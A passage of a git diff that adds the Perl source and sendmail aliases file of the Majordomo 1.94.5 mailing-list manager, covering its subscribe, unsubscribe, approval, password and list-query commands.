+**** +**** $whoami +EOM + &log("send_confirm $cmd $list $subscriber"); +} + + + +# Send a request for subscribe or unsubscribe approval to a list owner +# Usage: &request_approval($cmd, $list, @subscriber) +sub request_approval { + # Get the arguments + local($cmd) = shift; + local($list) = &valid_list($listdir, shift); + local($subscriber) = @_; + local(*APPROVE); + + # open a sendmail process for the approval request + &sendmail(APPROVE, "$list-approval\@$whereami", "APPROVE $list"); + + # Generate the approval request + print APPROVE <<"EOM"; +$reply_to requests that you approve the following: + + $cmd $list $subscriber + +If you approve, please send a message such as the following back to +$whoami (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD \\ + $cmd $list \\ + $subscriber + +[The above is broken into multiple lines to avoid mail reader linewrap +problems. Commands can be on one line, or multi-line with '\\' escapes.] + +If you disapprove, do nothing. + + +Thanks! + +$whoami +EOM + # close (and thereby send) the approval request + close(APPROVE); + + # tell the requestor that their request has been forwarded for approval. + print REPLY <<"EOM"; +Your request to $whoami: + + $cmd $list $subscriber + +has been forwarded to the owner of the "$list" list for approval. +This could be for any of several reasons: + + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + +When the list owner approves your request, you will be notified. + +If you have any questions about the policy of the list owner, please +contact "$list-approval\@$whereami". + + +Thanks! + +$whoami +EOM + + &log("request $cmd $list $subscriber"); +} + +# We are done processing the request; append help if needed, send the reply +# to the requestor, clean up, and exit + +sub done { + # append help, if needed. + if ($count == 0) { + print REPLY "**** No valid commands found.\n"; + print REPLY "**** Commands must be in message BODY, not in HEADER.\n\n"; + } + if ($needs_help || ($count == 0)) { + print REPLY "**** Help for $whoami:\n\n"; + &do_help(); + } + + # close (and thereby send) the reply + close(REPLY); + + # good bye! + exit(0); +} + +# Welcome a new subscriber to the list, and tell the list owner of his/her +# existance. +sub welcome { + local($list) = shift; + local($subscriber) = join(" ", @_); + + # welcome/intro message controlled by 'welcome=yes/no' + if ( &cf_ck_bool($list,"welcome")) { + + # Set up the sendmail process to welcome the new subscriber + &set_mail_sender($config_opts{$list,"sender"} . "\@" . $whereami); + &sendmail(MSG, $subscriber, "Welcome to $list"); + &set_mail_sender($whoami_owner); + + print MSG "Welcome to the $list mailing list!\n\n"; + + print MSG "Please save this message for future reference. Thank you.\n"; + + if ( $majordomo_request ) { + print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +send the following command in email to +\<${clean_list}-request\@$whereami\>: + + unsubscribe + +Or you can send mail to \<$whoami\> with the following +EOM + +} else { +print MSG <<"EOM"; + +If you ever want to remove yourself from this mailing list, +you can send mail to \<$whoami\> with the following +EOM +} + +print MSG <<"EOM"; +command in the body of your email message: + + unsubscribe $list + +or from another account, besides $subscriber: + + unsubscribe $list $subscriber + +EOM +print MSG <<"EOM"; +If you ever need to get in contact with the owner of the list, +(if you have trouble unsubscribing, or have questions about the +list itself) send email to \ . +This is the general rule for most mailing lists when you need +to contact a human. + +EOM + + # send them the info for the list, if it's available + # the .intro file has information for subscribers only + if (&lopen(INFO, "", "$listdir/$list.intro")) { + while () { + print MSG $_; + } + &lclose(INFO); + } elsif (&lopen(INFO, "", "$listdir/$list.info")) { + print MSG <<"EOM"; + Here's the general information for the list you've subscribed to, + in case you don't already have it: + +EOM +#'; + while () { + print MSG $_; + } + &lclose(INFO); + } else { + print MSG "#### No info available for $list.\n"; + } + + # close (and thereby send) the welcome message to the subscriber + close(MSG); + + } + + # tell the list owner of the new subscriber (optional: announcements=yes/no) + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber"); + print NOTICE "$subscriber has been added to $list.\n"; + print NOTICE "No action is required on your part.\n"; + close(NOTICE); + } +} + +# complain about a user screwup, and note that the user needs help appended +# to the reply +sub squawk { + print REPLY "**** @_\n"; + $needs_help++; +} + +# check to see if the subscriber is a LISTSERV-style "real name", not an +# address. If it contains white space and no routing characters ([!@%:]), +# then it's probably not an address. If it's valid, generate the proper +# request for approval; if it's not, bitch to the user. + +# if a fourth parameter is added to the check_and_request call, only +# check the subscribe request for a valid address. This allows +# the same routine to be used for checking when handling an auto list. + +sub check_and_request { + local($request,$clean_list, $subscriber, $do_request) = @_; + + # check to see if the subscriber looks like a LISTSERV-style + # "real name", not an address; if so, send a message to the + # requestor, and if not, ask the list owner for approval + local($addr) = &valid_addr($subscriber); + if ($addr =~ /\s/ && $addr !~ /[!%\@:]/) { + # yup, looks like a LISTSERV-style request to me. + &squawk("$request: LISTSERV-style request failed"); + print REPLY <<"EOM"; +This looks like a BITNET LISTSERV style '$request' request, because +the part after the list name doesn't look like an email address; it looks +like a person's name. Majordomo is not LISTSERV. In a Majordomo '$request' +request, the part after the list name is optional, but if it's there, it +should be an email address, NOT a person's real name. +EOM + + return(0); + } else { + return(1) if defined($do_request); + &request_approval($request, $clean_list, $subscriber); + } +} + +sub gen_cookie { + local($combined) = join('/', $cookie_seed ? $cookie_seed : $homedir, @_); + local($cookie) = 0; + local($i, $carry); + + # Because of backslashing and all of the splitting on whitespace and + # joining that goes on, we need to ignore whitespace. + $combined =~ s/\s//g; + + for ($i = 0; $i < length($combined); $i++) { + $cookie ^= ord(substr($combined, $i)); + $carry = ($cookie >> 28) & 0xf; + $cookie <<= 4; + $cookie |= $carry; + } + return (sprintf("%08x", $cookie)); +} + + +# Extracts the list name from the argument list to the do_* functions +# or uses the default list name, depending on invocation options and +# available arguments. Returns the raw list name, the validated list +# name, and the remaining argument list. + +sub get_listname { + local($request, $required, @args) = @_; + local($raw_list, $clean_list); + + if (defined($deflist)) { # -l option specified + if (scalar(@args) <= $required) { # minimal arguments, use default list + if ( !( ($raw_list = $deflist) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + $raw_list = shift(@args) || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + elsif ( !( ($raw_list = shift(@args)) + && ($clean_list = &valid_list($listdir, $raw_list)) ) ) { + unshift(@args, $raw_list); # Not a list name, put it back. + $raw_list = $deflist || &squawk("$request: which list?"); + $clean_list = &valid_list($listdir, $raw_list); + } + } + + else { + $raw_list = shift(@args); + $clean_list = &valid_list($listdir, $raw_list); + } + + return ($raw_list, $clean_list, @args); +} diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.aliases b/update/scripts/packages/majordomo-1.94.5/majordomo.aliases new file mode 100644 index 0000000..c827b89 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.aliases @@ -0,0 +1,25 @@ +# +# The aliases file for majordomo. This works best if you tell sendmail about it +# in your sendmail.cf file (either /usr/lib/sendmail.cf or /etc/sendmail.cf). +# +# You need to be running a recent (8.6, at least) version of sendmail; one that +# groks multiple alias files. +# +# Look for a line that says "OA/usr/lib/aliases" or somesuch, and add a line below +# it, w/o the leading # sign, that looks like this: +# +# OA/usr/test/majordomo/majordomo.aliases +# +# After doing this, you should refreeze the sendmail cf via '/usr/lib/sendmail -bz' and +# restart sendmail. +# + +majordomo: "|/usr/test/majordomo-1.94.5/wrapper majordomo" +majordomo-owner: you +owner-majordomo: you + +test: "|/usr/test/majordomo-1.94.5/wrapper resend -l test test-list" +test-list: :include:/usr/test/majordomo-1.94.5/lists/test +owner-test: you +test-owner: you +test-request: you diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo.orig b/update/scripts/packages/majordomo-1.94.5/majordomo.orig new file mode 100644 index 0000000..9fd9ac4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo.orig @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if 